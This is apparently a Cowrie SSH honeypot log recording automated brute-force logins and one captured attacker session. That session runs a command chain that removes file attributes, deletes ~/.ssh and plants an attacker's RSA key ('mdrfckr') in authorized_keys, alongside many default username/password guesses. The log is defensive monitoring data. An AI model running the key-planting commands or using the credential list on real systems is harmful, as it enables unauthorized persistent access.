{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.785269Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.788928Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.876833Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.081210Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.083733Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.179464Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.183253Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":57884,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a899f0772c6","protocol":"ssh","message":"New connection: 64.188.83.153:57884 (10.17.0.5:22) [session: 9a899f0772c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.263000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.273413Z","src_ip":"64.188.83.153","session":"9a899f0772c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.355222Z","src_ip":"64.188.83.153","session":"9a899f0772c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:35.686838Z","src_ip":"64.188.83.153","session":"9a899f0772c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:36.774817Z","src_ip":"64.188.83.153","session":"9a899f0772c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":57888,"dst_ip":"10.17.0.5","dst_port":22,"session":"877da994120e","protocol":"ssh","message":"New connection: 64.188.83.153:57888 (10.17.0.5:22) [session: 877da994120e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:36.854747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:36.859307Z","src_ip":"64.188.83.153","session":"877da994120e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:36.943447Z","src_ip":"64.188.83.153","session":"877da994120e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:37.312229Z","src_ip":"64.188.83.153","session":"877da994120e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:37.398932Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:37.402604Z","src_ip":"64.188.83.153","session":"877da994120e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33742,"dst_ip":"10.17.0.5","dst_port":22,"session":"b68d91797e3b","protocol":"ssh","message":"New connection: 2.57.122.208:33742 (10.17.0.5:22) [session: b68d91797e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:38.043662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:38.236707Z","src_ip":"2.57.122.208","session":"b68d91797e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:38.241101Z","src_ip":"2.57.122.208","session":"b68d91797e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:39.161776Z","src_ip":"2.57.122.208","session":"b68d91797e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:40.274827Z","src_ip":"2.57.122.208","session":"b68d91797e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38170,"dst_ip":"10.17.0.5","dst_port":22,"session":"62be185299ec","protocol":"ssh","message":"New connection: 193.32.162.145:38170 (10.17.0.5:22) [session: 62be185299ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:41.857902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:41.862443Z","src_ip":"193.32.162.145","session":"62be185299ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:41.976400Z","src_ip":"193.32.162.145","session":"62be185299ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:42.504139Z","src_ip":"193.32.162.145","session":"62be185299ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:43.638194Z","src_ip":"193.32.162.145","session":"62be185299ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39324,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6418ebe933","protocol":"ssh","message":"New connection: 2.57.122.210:39324 (159.203.135.109:22) [session: fc6418ebe933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:52.368002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:52.372827Z","src_ip":"2.57.122.210","session":"fc6418ebe933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:52.476366Z","src_ip":"2.57.122.210","session":"fc6418ebe933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:52.787693Z","src_ip":"2.57.122.210","session":"fc6418ebe933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:53.896416Z","src_ip":"2.57.122.210","session":"fc6418ebe933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":50882,"dst_ip":"10.17.0.5","dst_port":22,"session":"d23243384cfb","protocol":"ssh","message":"New connection: 177.11.196.84:50882 (10.17.0.5:22) [session: d23243384cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:05.869090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:05.874215Z","src_ip":"177.11.196.84","session":"d23243384cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:06.011414Z","src_ip":"177.11.196.84","session":"d23243384cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"puppet","password":"puppet123","message":"login attempt [puppet/puppet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:06.584444Z","src_ip":"177.11.196.84","session":"d23243384cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:07.720114Z","src_ip":"177.11.196.84","session":"d23243384cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":41734,"dst_ip":"10.17.0.5","dst_port":22,"session":"3026170b9042","protocol":"ssh","message":"New connection: 61.245.10.43:41734 (10.17.0.5:22) [session: 3026170b9042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:38.487865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:38.492951Z","src_ip":"61.245.10.43","session":"3026170b9042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:38.743715Z","src_ip":"61.245.10.43","session":"3026170b9042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshtunnel","password":"sshtunnel1234","message":"login attempt [sshtunnel/sshtunnel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:39.777454Z","src_ip":"61.245.10.43","session":"3026170b9042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:41.030831Z","src_ip":"61.245.10.43","session":"3026170b9042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":33556,"dst_ip":"10.17.0.5","dst_port":22,"session":"336207bf48f0","protocol":"ssh","message":"New connection: 27.111.32.174:33556 (10.17.0.5:22) [session: 336207bf48f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:45.185015Z"}
